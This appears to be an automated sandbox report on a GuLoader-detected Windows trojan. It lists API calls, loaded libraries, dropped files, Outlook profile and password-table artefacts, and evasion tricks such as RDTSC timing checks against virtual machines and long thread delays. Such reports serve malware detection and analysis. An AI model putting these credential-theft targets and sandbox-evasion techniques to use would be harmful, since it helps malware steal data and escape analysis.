Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 5_2_39A85F01	5_2_39A85F01
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 5_2_39A85F10	5_2_39A85F10
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 5_2_39A83F70	5_2_39A83F70
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 5_2_39A83F72	5_2_39A83F72
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 5_2_39A896B8	5_2_39A896B8
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 5_2_39A80EB9	5_2_39A80EB9
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 5_2_39A836C0	5_2_39A836C0
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 5_2_39A836C2	5_2_39A836C2
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 5_2_39A82E00	5_2_39A82E00
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 5_2_39A82E10	5_2_39A82E10
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 5_2_39A85660	5_2_39A85660
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 5_2_39A88640	5_2_39A88640
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 5_2_39A8565F	5_2_39A8565F
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 5_2_39A85650	5_2_39A85650
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 5_2_39EBE7C8	5_2_39EBE7C8
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 5_2_39EBD608	5_2_39EBD608
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 5_2_39EB6FA0	5_2_39EB6FA0
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 5_2_39EB8328	5_2_39EB8328

Source: C:\Users\user\Desktop\ajRZflJ2ch.exe

Code function: String function: 00402C41 appears 51 times

Source: ajRZflJ2ch.exe, 00000000.00000000.1439290788.0000000000455000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamesupraocular tailorizes.exeDVarFileInfo$ vs ajRZflJ2ch.exe
Source: ajRZflJ2ch.exe, 00000005.00000002.2713839860.00000000065D7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs ajRZflJ2ch.exe
Source: ajRZflJ2ch.exe, 00000005.00000002.2707393078.0000000000455000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamesupraocular tailorizes.exeDVarFileInfo$ vs ajRZflJ2ch.exe
Source: ajRZflJ2ch.exe, 00000005.00000002.2733988130.0000000036AA7000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs ajRZflJ2ch.exe
Source: ajRZflJ2ch.exe	Binary or memory string: OriginalFilenamesupraocular tailorizes.exeDVarFileInfo$ vs ajRZflJ2ch.exe

Source: ajRZflJ2ch.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/8@6/6

Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 0_2_004034A5 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,LdrInitializeThunk,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		0_2_004034A5
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 5_2_004034A5 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,LdrInitializeThunk,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		5_2_004034A5

Source: C:\Users\user\Desktop\ajRZflJ2ch.exe

Code function: 0_2_00404850 GetDlgItem,SetWindowTextW,LdrInitializeThunk,LdrInitializeThunk,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,LdrInitializeThunk,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_00404850

Source: C:\Users\user\Desktop\ajRZflJ2ch.exe

Code function: 0_2_00402104 LdrInitializeThunk,CoCreateInstance,LdrInitializeThunk,

0_2_00402104

Source: C:\Users\user\Desktop\ajRZflJ2ch.exe

File created: C:\Users\user\AppData\Local\Iw

Jump to behavior

Source: C:\Users\user\Desktop\ajRZflJ2ch.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\ajRZflJ2ch.exe

File created: C:\Users\user\AppData\Local\Temp\nsc8724.tmp

Jump to behavior

Source: ajRZflJ2ch.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\ajRZflJ2ch.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\ajRZflJ2ch.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: ajRZflJ2ch.exe, 00000005.00000002.2734129419.0000000036D34000.00000004.00000800.00020000.00000000.sdmp, ajRZflJ2ch.exe, 00000005.00000002.2734129419.0000000036D05000.00000004.00000800.00020000.00000000.sdmp, ajRZflJ2ch.exe, 00000005.00000002.2734129419.0000000036D27000.00000004.00000800.00020000.00000000.sdmp, ajRZflJ2ch.exe, 00000005.00000002.2734129419.0000000036CF5000.00000004.00000800.00020000.00000000.sdmp, ajRZflJ2ch.exe, 00000005.00000002.2735097720.0000000037C3D000.00000004.00000800.00020000.00000000.sdmp, ajRZflJ2ch.exe, 00000005.00000002.2734129419.0000000036D13000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: ajRZflJ2ch.exe	Virustotal: Detection: 74%
Source: ajRZflJ2ch.exe	ReversingLabs: Detection: 60%

Source: C:\Users\user\Desktop\ajRZflJ2ch.exe

File read: C:\Users\user\Desktop\ajRZflJ2ch.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\ajRZflJ2ch.exe "C:\Users\user\Desktop\ajRZflJ2ch.exe"
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Process created: C:\Users\user\Desktop\ajRZflJ2ch.exe "C:\Users\user\Desktop\ajRZflJ2ch.exe"
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Process created: C:\Users\user\Desktop\ajRZflJ2ch.exe "C:\Users\user\Desktop\ajRZflJ2ch.exe"	Jump to behavior

Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Section loaded: secur32.dll	Jump to behavior

Source: C:\Users\user\Desktop\ajRZflJ2ch.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\ajRZflJ2ch.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: ajRZflJ2ch.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Data Obfuscation

Yara detected GuLoader

Source: Yara match

File source: 00000000.00000002.2233521222.00000000059F7000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\ajRZflJ2ch.exe

Code function: 0_2_70131B5F GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,

0_2_70131B5F

Source: C:\Users\user\Desktop\ajRZflJ2ch.exe

File created: C:\Users\user\AppData\Local\Temp\nsd88AD.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	API/Special instruction interceptor: Address: 61BFAB7
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	API/Special instruction interceptor: Address: 475FAB7

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	RDTSC instruction interceptor: First address: 617EA08 second address: 617EA08 instructions: 0x00000000 rdtsc 0x00000002 cmp ebx, ecx 0x00000004 jc 00007FEE2CF3B896h 0x00000006 cmp ch, bh 0x00000008 inc ebp 0x00000009 test cl, cl 0x0000000b inc ebx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	RDTSC instruction interceptor: First address: 471EA08 second address: 471EA08 instructions: 0x00000000 rdtsc 0x00000002 cmp ebx, ecx 0x00000004 jc 00007FEE2CF3EC96h 0x00000006 cmp ch, bh 0x00000008 inc ebp 0x00000009 test cl, cl 0x0000000b inc ebx 0x0000000c rdtsc

Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Memory allocated: D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Memory allocated: 36C10000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Memory allocated: 38C10000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Thread delayed: delay time: 599891	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Thread delayed: delay time: 599781	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Thread delayed: delay time: 599672	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Thread delayed: delay time: 599563	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Thread delayed: delay time: 599438	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Thread delayed: delay time: 599328	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Thread delayed: delay time: 599219	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Thread delayed: delay time: 599094	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Thread delayed: delay time: 598984	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Thread delayed: delay time: 598875	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Thread delayed: delay time: 598766	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Thread delayed: delay time: 598656	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Thread delayed: delay time: 598547	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Thread delayed: delay time: 598438	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Thread delayed: delay time: 598313	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Thread delayed: delay time: 598203	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Thread delayed: delay time: 598094	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Thread delayed: delay time: 597969	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Thread delayed: delay time: 597859	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Thread delayed: delay time: 597750	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Thread delayed: delay time: 597641	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Thread delayed: delay time: 597531	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Thread delayed: delay time: 597422	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Thread delayed: delay time: 597313	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Thread delayed: delay time: 597188	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Thread delayed: delay time: 597078	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Thread delayed: delay time: 596969	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Thread delayed: delay time: 596844	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Thread delayed: delay time: 596734	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Thread delayed: delay time: 596620	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Thread delayed: delay time: 596516	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Thread delayed: delay time: 596406	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Thread delayed: delay time: 596297	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Thread delayed: delay time: 596187	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Thread delayed: delay time: 596078	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Thread delayed: delay time: 595969	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Thread delayed: delay time: 595844	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Thread delayed: delay time: 595734	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Thread delayed: delay time: 595625	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Thread delayed: delay time: 595516	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Thread delayed: delay time: 595406	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Thread delayed: delay time: 595297	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Thread delayed: delay time: 595187	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Thread delayed: delay time: 595078	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Thread delayed: delay time: 594969	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Thread delayed: delay time: 594859	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Thread delayed: delay time: 594749	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Thread delayed: delay time: 594640	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Thread delayed: delay time: 594531	Jump to behavior

Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Window / User API: threadDelayed 1099			Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Window / User API: threadDelayed 8748			Jump to behavior

Source: C:\Users\user\Desktop\ajRZflJ2ch.exe

